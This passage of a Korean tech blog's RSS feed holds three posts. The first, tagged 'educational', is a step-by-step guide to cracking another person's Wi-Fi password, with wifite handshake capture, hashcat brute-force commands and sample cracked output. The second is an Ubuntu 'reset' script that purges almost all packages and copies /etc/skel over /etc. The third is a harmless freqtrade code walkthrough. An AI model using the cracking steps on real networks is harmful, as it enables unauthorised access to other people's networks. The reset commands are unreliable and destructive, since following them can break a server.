한다는 교훈을 남겼습니다.&lt;/p&gt;</description>
      <category>클라우드\서버</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/354</guid>
      <comments>https://timmer.tistory.com/354#entry354comment</comments>
      <pubDate>Sat, 26 Oct 2024 12:24:49 +0900</pubDate>
    </item>
    <item>
      <title>[교육용] kali linux로 와이파이 남의 와이파이 비번 해킹</title>
      <link>https://timmer.tistory.com/353</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;하기 전 준비물 2개&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;ESSID와 ERCR 정보들을 갖고오기 위해 kali linux 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- VMWARE 사용하거나&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- 갖고있는 노트북 사용&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 단 VMWARE 사용하면 WLAN USB 형식 하나 필요함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. hashcat 다운로드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hashcat.net/files/hashcat-6.2.6.7z&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://hashcat.net/files/hashcat-6.2.6.7z&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kali linux에서&lt;/p&gt;
&lt;pre id=&quot;code_1729592771757&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ip addr&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하여 wlan 활성화 되어있는지 파악&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style2&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호 찾아낼 와이파이 리스트 scan&lt;/p&gt;
&lt;pre id=&quot;code_1729593534560&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo wifite --wpa --kill&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index 번호로 wifi 선택&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* WPA Handshake Attack 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 나머지 Attact 들은 Ctrl + C 하여 무시하고 c 로 넘김&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파악한 .cap 파일 확인&lt;/p&gt;
&lt;pre id=&quot;code_1729593670622&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd /hs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hccapx 형식으로 변환&lt;/p&gt;
&lt;pre id=&quot;code_1729593747452&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/usr/share/hashcat-utils/cap2hccapx.bin handshake_WIFINAME.cap wpa2.hccapx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변환한 파일 설치한 hashcat 폴더 내 복붙&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style2&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 관리자 권한으로 열어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hashcat 폴더 내 hashcat.exe 파일 실행해보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 수 있는 GPU 확인 명령어임&lt;/p&gt;
&lt;pre id=&quot;code_1729593862547&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;hashcat.exe -I&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 되는거 확인했으면 아래 받은 hccapx 파일 잘 넣어서 아래 실행&lt;/p&gt;
&lt;pre id=&quot;code_1729593998176&quot; class=&quot;angelscript&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hashcat.exe -m 2500 -a 3 --deprecated-check-disable wpa2.hccapx ?d?d?d?d?d?d?d?d&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 되면 아래와 같이 뜸&lt;/p&gt;
&lt;pre id=&quot;code_1729593965506&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 2500 (WPA-EAPOL-PBKDF2)
Hash.Target......: wpa2.hccapx
Time.Started.....: Tue Oct 22 18:46:04 2024 (1 min, 57 secs)
Time.Estimated...: Tue Oct 22 18:48:01 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   184.8 kH/s (9.61ms) @ Accel:16 Loops:128 Thr:256 Vec:1
Recovered........: 5/5 (100.00%) Digests (total), 5/5 (100.00%) Digests (new)
Progress.........: 21733376/100000000 (21.73%)
Rejected.........: 0/21733376 (0.00%)
Restore.Point....: 2121728/10000000 (21.22%)
Restore.Sub.#1...: Salt:0 Amplifier:8-9 Iteration:4-9
Candidate.Engine.: Device Generator
Candidates.#1....: 76268710 -&amp;gt; 71916710
Hardware.Mon.#1..: Temp: 62c Fan: 40% Util: 99% Core:1890MHz Mem:5750MHz Bus:16

Started: Tue Oct 22 18:45:46 2024
Stopped: Tue Oct 22 18:48:03 2024&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 되면 아래 명령어 실행해서 찾은 비번으로 잘 활용하면? 됨&lt;/p&gt;
&lt;pre id=&quot;code_1729594013149&quot; class=&quot;angelscript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hashcat.exe -m 2500 -a 3 --deprecated-check-disable wpa2.hccapx ?d?d?d?d?d?d?d?d --show&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1729594072339&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sthsthsthsthsthsthsthsthsthsth:wifi_name:비밀번호 나올 칸
sthsthsthsthsthsthsthsthsthsth:wifi_name:비밀번호 나올 칸&lt;/code&gt;&lt;/pre&gt;</description>
      <category>개인프로젝트</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/353</guid>
      <comments>https://timmer.tistory.com/353#entry353comment</comments>
      <pubDate>Tue, 22 Oct 2024 19:48:14 +0900</pubDate>
    </item>
    <item>
      <title>우분투 서버 공장초기화 하는 법 + .sh 파일로 한번에 실행</title>
      <link>https://timmer.tistory.com/352</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;sh 파일 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 파일을 다운 받아서 sh ubuntu_reset.sh 로 실행하거나,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/CCqem/btsInknKI84/XUXRyk8g0umJKOAHnh3SHk/ubuntu_reset.sh?attach=1&amp;amp;knm=tfile.sh&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;ubuntu_reset.sh&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;명령어 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 하나씩 입력하여 초기화 하면된다.&lt;/p&gt;
&lt;pre id=&quot;code_1720050093373&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모든 패키지 제거
sudo apt-get purge -y $(dpkg --get-selections | grep -v deinstall | grep -v &quot;apt&quot; | grep -v &quot;dpkg&quot; | grep -v &quot;grub&quot; | grep -v &quot;sudo&quot; | grep -v &quot;login&quot; | grep -v &quot;libc6&quot; | grep -v &quot;init&quot; | awk '{print $1}')

# 필수 패키지 재설치
sudo apt-get install --reinstall ubuntu-server

# 설정 파일 재설정
sudo cp -r /etc/skel/. /etc/

# 시스템 업데이트 및 업그레이드
sudo apt-get update
sudo apt-get upgrade -y

# 시스템 재부팅
sudo reboot&lt;/code&gt;&lt;/pre&gt;</description>
      <category>클라우드\서버</category>
      <category>우분투공장초기화</category>
      <category>우분투초기화</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/352</guid>
      <comments>https://timmer.tistory.com/352#entry352comment</comments>
      <pubDate>Thu, 4 Jul 2024 08:41:37 +0900</pubDate>
    </item>
    <item>
      <title>freqtrade 오픈소스 코드 분석해보기! 비트코인 투자 자동화 오픈소스 프로젝트</title>
      <link>https://timmer.tistory.com/351</link>
      <description>&lt;h2 style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;개요&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;최근에 관심이 있는 분야이기도하고 회귀 분석 쪽으로도 접목시킬 수 있는 장점이 있어서&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;오픈소스 컨트리뷰터 및 프로그램 개발을 위해 해당 오픈소스 분석 시작!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;최근 정리한 오픈소스 분석 방법론을 통해 순차적으로 뜯어볼 예정이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;(너무 어렵지만 해결했을 때의 짜릿함 기대중)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;&lt;a href=&quot;https://timmer.tistory.com/350&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://timmer.tistory.com/350&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719453554744&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;깃허브 내 오픈소스 코드 분석하는법 총 정리 - 순서대로만 따라하면 이해되는 오픈소스코드 분&quot; data-og-description=&quot;1. 배경지식을 갖출 것정렬이라던가 검색같은데 특정 알고리즘을 사용했다면,해당 알고리즘의 작동원리 이해하고 난 후 분석하는 것이 효율적이다.&amp;nbsp;만약 해당 지식이 없이 코드로만 이해하려&quot; data-og-host=&quot;timmer.tistory.com&quot; data-og-source-url=&quot;https://timmer.tistory.com/350&quot; data-og-url=&quot;https://timmer.tistory.com/350&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/qzRr5/hyWrTpc4XF/GJyj8kPKU8956u7h9c1mz1/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542,https://scrap.kakaocdn.net/dn/jKIqq/hyWrSX7XnQ/Nqq0X7kvV6ka5nxvKgKjMk/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542,https://scrap.kakaocdn.net/dn/cAKbQO/hyWrXZsFZ6/b0k6umhhWXvezogecDiQaK/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542&quot;&gt;&lt;a href=&quot;https://timmer.tistory.com/350&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://timmer.tistory.com/350&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/qzRr5/hyWrTpc4XF/GJyj8kPKU8956u7h9c1mz1/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542,https://scrap.kakaocdn.net/dn/jKIqq/hyWrSX7XnQ/Nqq0X7kvV6ka5nxvKgKjMk/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542,https://scrap.kakaocdn.net/dn/cAKbQO/hyWrXZsFZ6/b0k6umhhWXvezogecDiQaK/img.png?width=750&amp;amp;height=542&amp;amp;face=0_0_750_542');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;깃허브 내 오픈소스 코드 분석하는법 총 정리 - 순서대로만 따라하면 이해되는 오픈소스코드 분&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1. 배경지식을 갖출 것정렬이라던가 검색같은데 특정 알고리즘을 사용했다면,해당 알고리즘의 작동원리 이해하고 난 후 분석하는 것이 효율적이다.&amp;nbsp;만약 해당 지식이 없이 코드로만 이해하려&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;timmer.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section-0&quot; style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;1. 배경지식을 갖출 것&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;간단하게 한줄로 요약이 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;'비트코인 투자 자동화 프로그램'&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;2. &lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;큰 그림을 보자&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;1093&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd7zxB/btsIelmKCGP/0FzKKH9KyvSDq4RUdikqG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd7zxB/btsIelmKCGP/0FzKKH9KyvSDq4RUdikqG0/img.png&quot; data-alt=&quot;무지막지한 코드량&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd7zxB/btsIelmKCGP/0FzKKH9KyvSDq4RUdikqG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd7zxB%2FbtsIelmKCGP%2F0FzKKH9KyvSDq4RUdikqG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;264&quot; height=&quot;1093&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;1093&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;무지막지한 코드량&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 캡쳐 하나로도 다 담지 못하는 무지막지한 코드량이 존재한다.&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;300명이 넘는 contributor가 작성한 코드들이기 때문에 충분히 그럴지도...&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;폴더 구조 파악&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 폴더 하나씩 무엇을 의미하는지, 구조파악을 먼저 해보기로 했다.&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주로 아래의 폴더 패키지들이 자주 쓰인다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 274px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style15&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; commands&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;CLI 명령 시 해당 명령어를 읽고 코드 동작하는 함수들을 모아놓음&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; configuration&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;CLI에 필요한 config.json 파일 parsing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; data&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;데이터 백테스트 및 cache 보관&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; enums&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;상수 관리 목적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; exchange&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;각 거래소의 함수 정리 (entry, exit 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; freq_types&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;상수의&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;타입 관리 목적&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; loggers&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;로깅 함수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; plugins&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;지정된 pair의 선택 알고리즘 함수들&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; resolvers&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;custom 전략 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;&lt;span&gt; грс&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;sns 연동 함수 (telegram 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 17px;&quot;&gt;&lt;span&gt; strategy&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 17px;&quot;&gt;custom 전략 인터페이스 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 17px;&quot;&gt;&lt;span&gt; templates&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 17px;&quot;&gt;단순 custom 전략 위한 템플릿 예시들&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 10.2326%; height: 20px;&quot;&gt;util&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.465%; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;시간 변경 등 각종 util 함수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; &lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;_init__.py 이란?&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;지금은 파이썬 버전 3.3 이후부터 자동화되어 필요없어진 &lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;_init__.py이 각 폴더명마다 있었는데,&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;이 개념을 한번도 보지 못하여 이해하는데 고난을 많이 겪었다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;(멍청이 그차제)&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;각 폴더 내에 해당 파일을 지정하면, 파이썬이 해당 파일이 있는 폴더 자체를 패키지로 인식하여,&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;import를 할 때 보다 편리하게&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;__init &lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;__&lt;/span&gt; .py 내 함수들을 각각 명시하여 관리를 용이하게 할 수 있는 장점이 있다!&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;예시로&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1719459535896&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from freqtrade.exchange import (
    timeframe_to_minutes,
)
from freqtrade.strategy.informative_decorator import informative
from freqtrade.strategy.strategy_helper import (
    merge_informative_pair,
    stoploss_from_absolute,
    stoploss_from_open,
)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 import를 할 때 ()로 감싸는 이유는, 가독성 목적&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위의 정의된 폴더 내 함수를 사용하여 아래&lt;/p&gt;
